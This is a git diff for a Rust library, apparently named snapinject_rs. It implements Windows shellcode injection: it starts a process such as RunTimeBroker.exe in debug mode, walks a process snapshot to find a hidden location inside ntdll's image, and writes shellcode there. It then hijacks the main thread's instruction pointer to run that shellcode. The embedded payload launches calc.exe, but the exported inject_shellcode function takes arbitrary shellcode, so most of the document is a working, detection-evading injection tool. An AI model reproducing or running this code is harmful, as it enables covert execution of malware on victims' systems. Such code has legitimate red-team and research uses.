diff --git a/Cargo.toml b/Cargo.toml index affe546..9589bc3 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -7,5 +7,5 @@ edition = "2021" NtCreateUserProcess_rs = { git = "https://github.com/Teach2Breach/NtCreateUserProcess_rs.git" } noldr = { git = "https://github.com/Teach2Breach/noldr.git", branch = "main" } Snapshotting_rs = { git = "https://github.com/Teach2Breach/Snapshotting_rs" } -winapi = { version = "0.3.9", features = ["processsnapshot", "processthreadsapi", "handleapi", "winerror", "heapapi", "memoryapi"] } -windows = { version = "0.58.0", features = ["Win32_System_Diagnostics_ProcessSnapshotting"] } \ No newline at end of file +winapi = { version = "0.3.9", features = ["debugapi", "processsnapshot", "processthreadsapi", "handleapi", "winerror", "heapapi", "memoryapi"] } +windows = { version = "0.58.0", features = ["Win32_System_Diagnostics_ProcessSnapshotting", "Win32_System_Diagnostics_Debug", "Win32_System_Kernel"] } \ No newline at end of file diff --git a/src/func.rs b/src/func.rs index b397008..1b67168 100644 --- a/src/func.rs +++ b/src/func.rs @@ -1,35 +1,70 @@ +#![allow(unused_assignments)] +#![allow(unused_variables)] + +// Standard library imports +use std::{ + ffi::c_void as std_c_void, + mem::zeroed, + ptr::null_mut, +}; + +// Third-party crates use Snapshotting_rs::ProcessSnapshot; -use winapi::um::winnt::{HANDLE, MEMORY_BASIC_INFORMATION, MEM_IMAGE, HEAP_ZERO_MEMORY}; -use winapi::ctypes::c_void as winapi_c_void; -use std::ffi::c_void as std_c_void; + +// WinAPI imports +use winapi::{ + ctypes::c_void as winapi_c_void, + shared::{ + minwindef::{DWORD, FALSE}, + winerror::ERROR_SUCCESS, + }, + um::{ + debugapi::DebugActiveProcessStop, + heapapi::{GetProcessHeap, HeapAlloc, HeapFree}, + memoryapi::{ReadProcessMemory, VirtualProtectEx, WriteProcessMemory}, + processthreadsapi::SetThreadContext, + winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS}, + winnt::{ + CONTEXT, + HANDLE, + HEAP_ZERO_MEMORY, + MEMORY_BASIC_INFORMATION, + MEM_IMAGE, + PAGE_EXECUTE_READ, + PAGE_READWRITE, + }, + }, +}; + +// Windows-rs imports use windows::Win32::System::Diagnostics::ProcessSnapshotting::{ - HPSSWALK, + PssCaptureSnapshot, PssWalkMarkerCreate, PssWalkMarkerFree, PssWalkSnapshot, - PSS_WALK_VA_SPACE, - PSS_VA_SPACE_ENTRY, HPSS, - PSS_CAPTURE_FLAGS, - PSS_CAPTURE_VA_CLONE, - PSS_CAPTURE_VA_SPACE, - PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION, + HPSSWALK, + PSS_CAPTURE_THREADS, + PSS_CAPTURE_THREAD_CONTEXT, + PSS_THREAD_ENTRY, + PSS_VA_SPACE_ENTRY, + PSS_WALK_THREADS, + PSS_WALK_VA_SPACE, }; -use winapi::shared::winerror::ERROR_SUCCESS; -use std::ptr::null_mut; -use winapi::um::heapapi::{GetProcessHeap, HeapAlloc, HeapFree}; -use winapi::um::memoryapi::ReadProcessMemory; - -pub fn get_helper(stack_offset: &mut usize, _base_address: *mut winapi_c_void, _shellcode_size: usize, stack: *mut winapi_c_void, size_of_image: usize) { +pub fn get_helper( + stack_offset: &mut usize, + _base_address: *mut winapi_c_void, + _shellcode_size: usize, + stack: *mut winapi_c_void, + size_of_image: usize, +) { *stack_offset = 0; let mut j: u32 = 0; - + while j < size_of_image as u32 { *stack_offset = *stack_offset + j as usize; - let stack_val = unsafe { - *((stack as *mut u8).add(j as usize) as *mut usize) - }; + let stack_val = unsafe { *((stack as *mut u8).add(j as usize) as *mut usize) }; j = j + 1; if stack_val == 0 { *stack_offset = *stack_offset + j as usize; @@ -41,15 +76,15 @@ pub fn get_helper(stack_offset: &mut usize, _base_address: *mut winapi_c_void, _ pub fn capture_process_snapshot(handle: HANDLE) -> Result { println!("Capturing process..."); //let flags: PSS_CAPTURE_FLAGS = PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_VA_SPACE | PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION; - + match ProcessSnapshot::new(handle) { Ok(snap) => { println!("Process snapshot completed successfully"); println!("Snapshot handle: {:?}", snap); println!("Snapshot will be automatically freed when it goes out of scope"); Ok(snap) - }, - Err(e) => Err(format!("Error capturing process snapshot: {}", e)) + } + Err(e) => Err(format!("Error capturing process snapshot: {}", e)), } } @@ -63,7 +98,10 @@ pub fn get_hidden_injection_address( let pss_success = unsafe { PssWalkMarkerCreate(None, &mut walker) }; if pss_success != ERROR_SUCCESS { - eprintln!("[!] PssWalkMarkerCreate failed: Win32 error {}", pss_success); + eprintln!( + "[!] PssWalkMarkerCreate failed: Win32 error {}", + pss_success + ); } else { println!("PssWalkMarkerCreate succeeded"); } @@ -72,9 +110,12 @@ pub fn get_hidden_injection_address( let mut buffer = vec![0u8; std::mem::size_of::()]; let mut va_space_entry: PSS_VA_SPACE_ENTRY = unsafe { std::mem::zeroed() }; - + println!("About to start walking snapshot..."); - println!("Snapshot handle raw: {:#x}", snapshot.snapshot_handle as usize); + println!( + "Snapshot handle raw: {:#x}", + snapshot.snapshot_handle as usize + ); println!("Walker handle raw: {:#x}", walker.0 as usize); let mut pss_success = unsafe { let result = PssWalkSnapshot( @@ -83,8 +124,11 @@ pub fn get_hidden_injection_address( walker, Some(&mut buffer), ); - println!("Initial PssWalkSnapshot result: {} (ERROR_NOT_FOUND = 1168)", result); - + println!( + "Initial PssWalkSnapshot result: {} (ERROR_NOT_FOUND = 1168)", + result + ); + // Copy buffer regardless of result std::ptr::copy_nonoverlapping( buffer.as_ptr(), @@ -96,7 +140,7 @@ pub fn get_hidden_injection_address( let mut i = 0; while pss_success == ERROR_SUCCESS { - println!("\nExamining region {}:", i); + //println!("\nExamining region {}:", i); i += 1; let mut mem_basic_info = unsafe { std::mem::zeroed::() }; @@ -108,11 +152,11 @@ pub fn get_hidden_injection_address( mem_basic_info.Protect = va_space_entry.Protect; mem_basic_info.Type = va_space_entry.Type; - println!("Region details:"); - println!(" Base Address: {:p}", mem_basic_info.BaseAddress); - println!(" Protection: {:#x}", mem_basic_info.Protect); - println!(" Type: {:#x}", va_space_entry.Type); - println!(" Size: {}", va_space_entry.SizeOfImage); + //println!("Region details:"); + //println!(" Base Address: {:p}", mem_basic_info.BaseAddress); + //println!(" Protection: {:#x}", mem_basic_info.Protect); + //println!(" Type: {:#x}", va_space_entry.Type); + //println!(" Size: {}", va_space_entry.SizeOfImage); if mem_basic_info.Protect == 0x20 { println!("Found region with correct protection"); @@ -120,28 +164,24 @@ pub fn get_hidden_injection_address( println!("Region is MEM_IMAGE"); if va_space_entry.SizeOfImage > 1000000 { println!("[+] ntdll.dll captured"); - + let mut stack: *mut winapi_c_void = null_mut(); let mut stack_offset: usize = 0; - let success = unsafe { - ReadProcessMemory( - process_handle, - va_space_entry.ImageBase as *const winapi_c_void, - stack, - shellcode_size, - null_mut() - ) - }; + let success = unsafe { + ReadProcessMemory( + process_handle, + va_space_entry.ImageBase as *const winapi_c_void, + stack, + shellcode_size, + null_mut(), + ) + }; - let heap = unsafe { GetProcessHeap() }; - stack = unsafe { - HeapAlloc( - heap, - HEAP_ZERO_MEMORY, - mem_basic_info.RegionSize as usize - ) - }; + let heap = unsafe { GetProcessHeap() }; + stack = unsafe { + HeapAlloc(heap, HEAP_ZERO_MEMORY, mem_basic_info.RegionSize as usize) + }; if !stack.is_null() { get_helper( @@ -149,23 +189,28 @@ pub fn get_hidden_injection_address( mem_basic_info.BaseAddress, shellcode_size, stack, - va_space_entry.SizeOfImage as usize + va_space_entry.SizeOfImage as usize, ); - + println!("Stack offset calculated: {:#x}", stack_offset); - - shellcode_location = ((stack_offset + mem_basic_info.BaseAddress as usize) - shellcode_size * 3) as *mut winapi_c_void; + + shellcode_location = ((stack_offset + mem_basic_info.BaseAddress as usize) + - shellcode_size * 3) + as *mut winapi_c_void; println!("Shellcode location: {:p}", shellcode_location); - + unsafe { HeapFree(heap, 0, stack) }; unsafe { PssWalkMarkerFree(walker) }; + println!("[+] Original base address: {:p}", mem_basic_info.BaseAddress); + println!("[+] Stack offset: {:#x}", stack_offset); + println!("[+] Final shellcode location: {:p}", shellcode_location); return Ok(shellcode_location); } } else { - println!("Region size too small: {}", va_space_entry.SizeOfImage); + //println!("Region size too small: {}", va_space_entry.SizeOfImage); } } else { - println!("Not MEM_IMAGE type: {:#x}", va_space_entry.Type); + //println!("Not MEM_IMAGE type: {:#x}", va_space_entry.Type); } } @@ -176,8 +221,8 @@ pub fn get_hidden_injection_address( walker, Some(&mut buffer), ); - println!("PssWalkSnapshot result: {}", result); - + //println!("PssWalkSnapshot result: {}", result); + // Copy buffer regardless of result std::ptr::copy_nonoverlapping( buffer.as_ptr(), @@ -191,4 +236,188 @@ pub fn get_hidden_injection_address( println!("Finished walking snapshot. Examined {} regions", i); unsafe { PssWalkMarkerFree(walker) }; Err("No suitable injection location found".to_string()) +} + +pub fn inject_and_rwx( + process_handle: HANDLE, + shellcode_location: *mut winapi_c_void, + shellcode: &[u8], +) -> bool { + let mut old_protect: DWORD = 0; + let size = shellcode.len(); + let mut bytes_written: usize = 0; + + // First VirtualProtectEx call to set PAGE_READWRITE + let success = unsafe { + VirtualProtectEx( + process_handle, + shellcode_location, + size, + PAGE_READWRITE, + &mut old_protect, + ) + }; + + if success == 0 { + eprintln!("[!] [1] VirtualProtectEx FAILED with Error: {}", unsafe { + winapi::um::errhandlingapi::GetLastError() + }); + return false; + } + + // WriteProcessMemory to inject shellcode + let success = unsafe { + WriteProcessMemory( + process_handle, + shellcode_location, + shellcode.as_ptr() as *const winapi_c_void, + size, + &mut bytes_written, + ) + }; + + if success == 0 { + eprintln!("[!] WriteProcessMemory FAILED with Error: {}", unsafe { + winapi::um::errhandlingapi::GetLastError() + }); + return false; + } + + // Second VirtualProtectEx call to set PAGE_EXECUTE_READWRITE + let success = unsafe { + VirtualProtectEx( + process_handle, + shellcode_location, + size, + PAGE_EXECUTE_READ, + &mut old_protect, + ) + }; + + if success == 0 { + eprintln!("[!] [2] VirtualProtectEx FAILED with Error: {}", unsafe { + winapi::um::errhandlingapi::GetLastError() + }); + return false; + } + + true +} + +pub fn snap_thread_hijack( + pid: DWORD, + thread_handle: HANDLE, + thread_id: DWORD, + target_process: *mut winapi::ctypes::c_void, + rip: Option<*mut winapi_c_void>, + rsp: Option<*mut winapi_c_void>, +) -> bool { + unsafe { + let mut snapshot_ctx: CONTEXT = zeroed(); + let mut snapshot_handle = HPSS::default(); + let mut walk_marker_handle = HPSSWALK::default(); + let mut thread_entry: PSS_THREAD_ENTRY = zeroed(); + let mut buffer = vec![0u8; std::mem::size_of::()]; + + // Capture snapshot + let capture_flags = PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT; + let win32_handle = windows::Win32::Foundation::HANDLE(target_process as _); + let pss_result = PssCaptureSnapshot( + win32_handle, + capture_flags, + 0x0010_0017, // CONTEXT_ALL + &mut snapshot_handle, + ); + + if pss_result != 0 { + eprintln!("[!] PssCaptureSnapshot failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError()); + return false; + } + println!("[+] Snapshot captured successfully"); + + // Create walk marker + let pss_result = PssWalkMarkerCreate(None, &mut walk_marker_handle); + if pss_result != 0 { + eprintln!("[!] PssWalkMarkerCreate failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError()); + return false; + } + println!("[+] Walk marker created successfully"); + + // Walk through threads + let mut pss_result = PssWalkSnapshot( + snapshot_handle, + PSS_WALK_THREADS, + walk_marker_handle, + Some(&mut buffer), + ); + + while pss_result == 0 { + // Copy buffer to thread_entry + std::ptr::copy_nonoverlapping( + buffer.as_ptr(), + &mut thread_entry as *mut _ as *mut u8, + std::mem::size_of::(), + ); + + if thread_entry.ThreadId == thread_id { + // Copy context record + if !thread_entry.ContextRecord.is_null() { + std::ptr::copy_nonoverlapping( + thread_entry.ContextRecord as *const winapi::um::winnt::CONTEXT, + &mut snapshot_ctx, + 1, + ); + + println!("[+] Original thread entry context record: {:p}", thread_entry.ContextRecord); + println!("[+] Thread ID we're targeting: {}", thread_id); + println!("[+] Process creation flags included DEBUG_PROCESS: {}", + NORMAL_PRIORITY_CLASS | DETACHED_PROCESS | DEBUG_PROCESS); + + println!("[+] Snapctx.Rip Before Setting: 0x{:x}", snapshot_ctx.Rip); + + if let Some(rip_ptr) = rip { + // Create a u64 with the address value instead of dereferencing + snapshot_ctx.Rip = rip_ptr as u64; + println!("[+] Setting RIP directly to address: 0x{:x}", snapshot_ctx.Rip); + //println!("[+] Shellcode location (raw pointer): {:p}", rip_ptr); + } + if let Some(rsp_ptr) = rsp { + snapshot_ctx.Rsp = rsp_ptr as u64; + } + + println!("[+] Snapctx.Rip After Setting: 0x{:x}", snapshot_ctx.Rip); + + println!("[+] Setting thread context..."); + + if SetThreadContext(thread_handle, &snapshot_ctx) == FALSE { + eprintln!("[!] SetThreadContext FAILED with Error: {}", winapi::um::errhandlingapi::GetLastError()); + return false; + } + + std::thread::sleep(std::time::Duration::from_secs(5)); + + println!("[+] DebugActiveProcessStop..."); + DebugActiveProcessStop(pid); + println!("[+] DONE"); + break; + } + } + + pss_result = PssWalkSnapshot( + snapshot_handle, + PSS_WALK_THREADS, + walk_marker_handle, + Some(&mut buffer), + ); + } + + // Free walk marker + let pss_result = PssWalkMarkerFree(walk_marker_handle); + if pss_result != 0 { + eprintln!("[!] PssWalkMarkerFree failed: Win32 error {}", winapi::um::errhandlingapi::GetLastError()); + return false; + } + + true + } } \ No newline at end of file diff --git a/src/lib.rs b/src/lib.rs index e69de29..c408902 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -0,0 +1,87 @@ +pub use winapi; +use winapi::um::{processthreadsapi::{CreateProcessA, PROCESS_INFORMATION, STARTUPINFOA}, winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS}}; +pub const CALC_SHELLCODE: [u8; 276] = [ + 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, + 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, + 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, + 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, + 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, + 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, + 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, + 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, + 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, + 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, + 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, + 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, + 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, + 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, + 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, + 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, + 0x65, 0x78, 0x65, 0x00, +]; + +mod func; + +pub fn inject_shellcode(process_name: &str, shellcode: &[u8]) -> Result<(), String> { + // Format the process path + let process_path = if !process_name.contains('\\') { + format!("C:\\Windows\\System32\\{}", process_name) + } else { + process_name.to_string() + }; + + // Create the startup info and process info structs + let mut si: STARTUPINFOA = unsafe { std::mem::zeroed() }; + let mut pi: PROCESS_INFORMATION = unsafe { std::mem::zeroed() }; + si.cb = std::mem::size_of::() as u32; + + // Create the process + let success = unsafe { + CreateProcessA( + std::ptr::null(), + process_path.as_ptr() as *mut i8, + std::ptr::null_mut(), + std::ptr::null_mut(), + 1, + NORMAL_PRIORITY_CLASS | DETACHED_PROCESS | DEBUG_PROCESS, + std::ptr::null_mut(), + std::ptr::null(), + &mut si, + &mut pi, + ) + }; + + if success == 0 { + return Err(format!("Failed to create process: {}", unsafe { + winapi::um::errhandlingapi::GetLastError() + })); + } + + let process_handle = pi.hProcess; + let shellcode_size = shellcode.len(); + + let shellcode_location = func::get_hidden_injection_address(process_handle, shellcode_size) + .map_err(|e| format!("Failed to get injection address: {}", e))?; + + if !func::inject_and_rwx(process_handle, shellcode_location, shellcode) { + return Err("Failed to inject shellcode".to_string()); + } + + if !func::snap_thread_hijack( + pi.dwProcessId, + pi.hThread, + pi.dwThreadId, + process_handle, + Some(shellcode_location), + None, + ) { + return Err("Failed to hijack thread".to_string()); + } + + Ok(()) +} + +pub fn inject_calc_shellcode(process_name: &str) -> Result<(), String> { + inject_shellcode(process_name, &CALC_SHELLCODE) +} diff --git a/src/main.rs b/src/main.rs index 21ae399..a1253c7 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,8 +1,8 @@ //use noldr::{get_dll_address, get_teb}; use winapi::um::processthreadsapi::CreateProcessA; -use winapi::um::winbase::{NORMAL_PRIORITY_CLASS, DETACHED_PROCESS, DEBUG_PROCESS}; -use winapi::um::processthreadsapi::STARTUPINFOA; use winapi::um::processthreadsapi::PROCESS_INFORMATION; +use winapi::um::processthreadsapi::STARTUPINFOA; +use winapi::um::winbase::{DEBUG_PROCESS, DETACHED_PROCESS, NORMAL_PRIORITY_CLASS}; mod func; @@ -29,7 +29,7 @@ pub const SHELL_CODE: [u8; 276] = [ ]; fn main() { - + /* //set the process name to RunTimeBroker.exe for testing let process_name = "RunTimeBroker.exe".to_string(); //format the process path @@ -56,13 +56,15 @@ fn main() { std::ptr::null_mut(), std::ptr::null(), &mut si, - &mut pi + &mut pi, ) }; //check if the process was created successfully if success == 0 { - eprintln!("Failed to create process: {}", unsafe { winapi::um::errhandlingapi::GetLastError() }); + eprintln!("Failed to create process: {}", unsafe { + winapi::um::errhandlingapi::GetLastError() + }); std::process::exit(1); } @@ -107,8 +109,43 @@ fn main() { */ let shellcode_size = SHELL_CODE.len(); - let shellcode_location = func::get_hidden_injection_address(process_handle, shellcode_size).unwrap(); + let shellcode_location = + func::get_hidden_injection_address(process_handle, shellcode_size).unwrap(); - println!("Shellcode location: 0x{:x}", shellcode_location as usize); + //println!("Shellcode location: 0x{:x}", shellcode_location as usize); + // Add this code to inject the shellcode + if !func::inject_and_rwx(process_handle, shellcode_location, &SHELL_CODE) { + eprintln!("Failed to inject shellcode"); + std::process::exit(1); + } + + println!( + "Shellcode injected successfully at: 0x{:x}", + shellcode_location as usize + ); + + // ... after shellcode injection ... + + println!("Press enter to hijack the thread"); + let mut input = String::new(); + std::io::stdin().read_line(&mut input).unwrap(); + + // Hijack the thread to execute the shellcode + if !func::snap_thread_hijack( + pi.dwProcessId, + pi.hThread, + pi.dwThreadId, + process_handle, + Some(shellcode_location), + None, + ){ + eprintln!("Failed to hijack thread"); + std::process::exit(1); + } + + println!("Thread hijacked successfully"); + */ + + snapinject_rs::inject_calc_shellcode("RunTimeBroker.exe").unwrap(); }